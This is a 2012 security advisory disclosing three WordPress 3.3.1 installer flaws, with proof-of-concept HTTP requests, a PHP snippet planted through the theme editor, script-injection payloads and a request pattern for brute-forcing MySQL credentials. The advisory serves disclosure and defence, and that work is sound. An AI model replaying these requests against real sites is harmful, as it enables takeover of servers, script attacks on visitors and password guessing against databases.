WordPress 3.3.1 - Multiple Vulnerabilities

Trustwave's SpiderLabs Security Advisory TWSL2012-002:

Multiple Vulnerabilities in WordPress



https://www.trustwave.com/spiderlabs/advisories/TWSL2012-002.txt



Published: 1/24/12

Version: 1.0



Vendor: WordPress (http://wordpress.org/)

Product: WordPress

Version affected: 3.3.1 and prior



Product description:

WordPress is a free and open source blogging tool and publishing platform

powered by PHP and MySQL.



Credit: Jonathan Claudius of Trustwave SpiderLabs



Finding 1: PHP Code Execution and Persistent Cross Site Scripting

Vulnerabilities via 'setup-config.php' page.

CVE: CVE-2011-4899



The WordPress 'setup-config.php' installation page allows users to install

WordPress in local or remote MySQL databases. This typically requires a user

to have valid MySQL credentials to complete.  However, a malicious user can

host their own MySQL database server and can successfully complete the

WordPress installation without having valid credentials on the target system.



After the successful installation of WordPress, a malicious user can inject

malicious PHP code via the WordPress Themes editor.  In addition, with control

of the database store, malicious Javascript can be injected into the content

of WordPress yielding persistent Cross Site Scripting.



Proof of Concept:



Servers Involved



A.B.C.D = Target WordPress Web Server

W.X.Y.Z = Malicious User's MySQL Instance



1.) Malicious User hosts their own MySQL instance at W.X.Y.Z on port 3306



2.) Performs POST/GET Requests to Install WordPress into MySQL Instance



Request #1

----------

POST /wp-admin/setup-config.php?step=2 HTTP/1.1

Host: A.B.C.D

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Proxy-Connection: keep-alive

Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1

Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3Do

Content-Type: application/x-www-form-urlencoded

Content-Length: 81



dbname=wordpress&uname=jsmith&pwd=jsmith&dbhost=W.X.Y.Z&prefix=wp_&submit=Submit



Request #2

----------

GET /wp-admin/install.php HTTP/1.1

Host: A.B.C.D

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Proxy-Connection: keep-alive

Referer: http://A.B.C.D/wp-admin/setup-config.php?step=2

Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3Do

If-Modified-Since: Wed, 07 Dec 2011 16:03:33 GMT



3.) Get PHP Code Execution



Malicious user edits 404.php via Themes Editor as follows:



<?php

phpinfo();

?>



Note #1: Any php file in the theme could be used.

Note #2: Depending settings, PHP may be used to execute system commands

         on webserver.



Malicious user performs get request of modified page to execute code.



Request

-------

GET /wp-content/themes/default/404.php HTTP/1.1

Host: A.B.C.D

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1



4.) Get Persistent Cross Site Scripting



Malicious User Injects Malicious Javascript into their own MySQL database instance



MySQL Query

-----------

update wp_comments SET

comment_content='<script>alert('123')</script>' where comment_content='Hi,

this is a comment.<br />To delete \ a comment, just log in and view the

post's comments. There you will have the option to edit or delete

them.';



Non-malicious User Visits Wordpress installation and has Javascript executed on their browser



Request

-------

GET /?p=1 HTTP/1.1

Host: A.B.C.D

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1







Finding 2: Multiple Cross Site Scripting Vulnerabilities in

'setup-config.php' page

CVE: CVE-2012-0782



The WordPress 'setup-config.php' installation page allows users to install

WordPress in local or remote MySQL databases. When using this installation page

the user is asked to supply the database name, the server that the database

resides on, and a valid MySQL username and password.



During this process, malicious users can supply javascript within

the "dbname", "dbhost" or "uname" parameters. Upon clicking the submission

button, the javascript is rendered in the client's browser.



Proof of Concept:



Servers Involved



A.B.C.D = Target WordPress Web Server



Request

-------

POST /wp-admin/setup-config.php?step=2 HTTP/1.1

Host: A.B.C.D

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Proxy-Connection: keep-alive

Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1

Content-Type: application/x-www-form-urlencoded

Content-Length: 112



dbname=%3Cscript%3Ealert%28%27123%27%29%3C%2Fscript%3E&uname=root&pwd=&dbhost=localhost&prefix=wp_&submit=Submit







Finding 3: MySQL Server Username/Password Disclosure Vulnerability via

'setup-config.php' page

CVE: CVE-2011-4898



The WordPress 'setup-config.php' installation page allows users to install

WordPress in local or remote MySQL databases. When using this installation page

the user is asked to supply the database name, the server the database resides

on, and a valid MySQL username and password.



Malicious users can omit the "dbname" parameter during this process, allowing

them to continually bruteforce MySQL instance usernames and passwords. This

includes any local or remote MySQL instances which are accessible to the

target web server. This can also be used as a method to proxy MySQL bruteforce

attacks against other MySQL instances outside of the target organization.



Proof of Concept:



Servers Involved



A.B.C.D = Target WordPress Web Server

L.M.N.O = Any MySQL Server for which the Web Server has network access



Request

-------

POST /wp-admin/setup-config.php?step=2 HTTP/1.1

Host: A.B.C.D

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Proxy-Connection: keep-alive

Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1

Content-Type: application/x-www-form-urlencoded

Content-Length: 32



uname=mysql&pwd=mysql&dbhost=L.M.N.O



Response (If Password is Valid)

-------------------------------

<---snip-->

We were able to connect to the database server (which means your username

and password is okay) but not able to select the database.

<---snip-->



Response (If Password is Invalid)

---------------------------------

<---snip-->

This either means that the username and password information in your

wp-config.php file is incorrect or we can't contact the database server at

localhost. This could mean your host's database server is down.

<---snip-->





Vendor Response:

Due to the fact that the component in question is an installation script,

the vendor has stated that the attack surface is too small to warrant

a fix:



"We give priority to a better user experience at the install process. It is

unlikely a user would go to the trouble of installing a copy of WordPress

and then not finishing the setup process more-or-less immediately. The

window of opportunity for exploiting such a vulnerability is very small."



However, Trustwave SpiderLabs urges caution in situations where the

WordPress installation script is provided as part of a default image.

This is  often done as a convenience on hosting providers, even in

cases where the client does not use the software. It is a best practice

to ensure  that no installation scripts are exposed to outsiders, and

these vulnerabilities reinforce the importance of this step.





Remediation Steps:

No official fix for these issues will be released for the WordPress

publishing platform. However, administrators can mitigate these issues by

creating strong MySQL passwords and defining rules within a web application

firewall (WAF) solution. ModSecurity (http://www.modsecurity.org/) has

added rules to the commercial rules feed for these issues, and Trustwave's

vulnerability scanning solution, TrustKeeper, has been updated to detect

exposed installation scripts.





Vendor Communication Timeline:

12/22/11 - Vulnerability disclosed

01/16/12 - Confirmation to release vulnerabilities

01/24/12 - Advisory published





References

1. http://www.wordpress.org





About Trustwave:

Trustwave is the leading provider of on-demand and subscription-based

information security and payment card industry compliance management

solutions to businesses and government entities throughout the world. For

organizations faced with today's challenging data security and compliance

environment, Trustwave provides a unique approach with comprehensive

solutions that include its flagship TrustKeeper compliance management

software and other proprietary security solutions. Trustwave has helped

thousands of organizations--ranging from Fortune 500 businesses and large

financial institutions to small and medium-sized retailers--manage

compliance and secure their network infrastructure, data communications and

critical information assets. Trustwave is headquartered in Chicago with

offices throughout North America, South America, Europe, Africa, China and

Australia. For more information, visit https://www.trustwave.com



About Trustwave's SpiderLabs:

SpiderLabs(R) is the advanced security team at Trustwave focused on

application security, incident response, penetration testing, physical

security and security research. The team has performed over a thousand

incident investigations, thousands of penetration tests and hundreds of

application security tests globally. In addition, the SpiderLabs Research

team provides intelligence through bleeding-edge research and proof of

concept tool development to enhance Trustwave's products and services.

https://www.trustwave.com/spiderlabs



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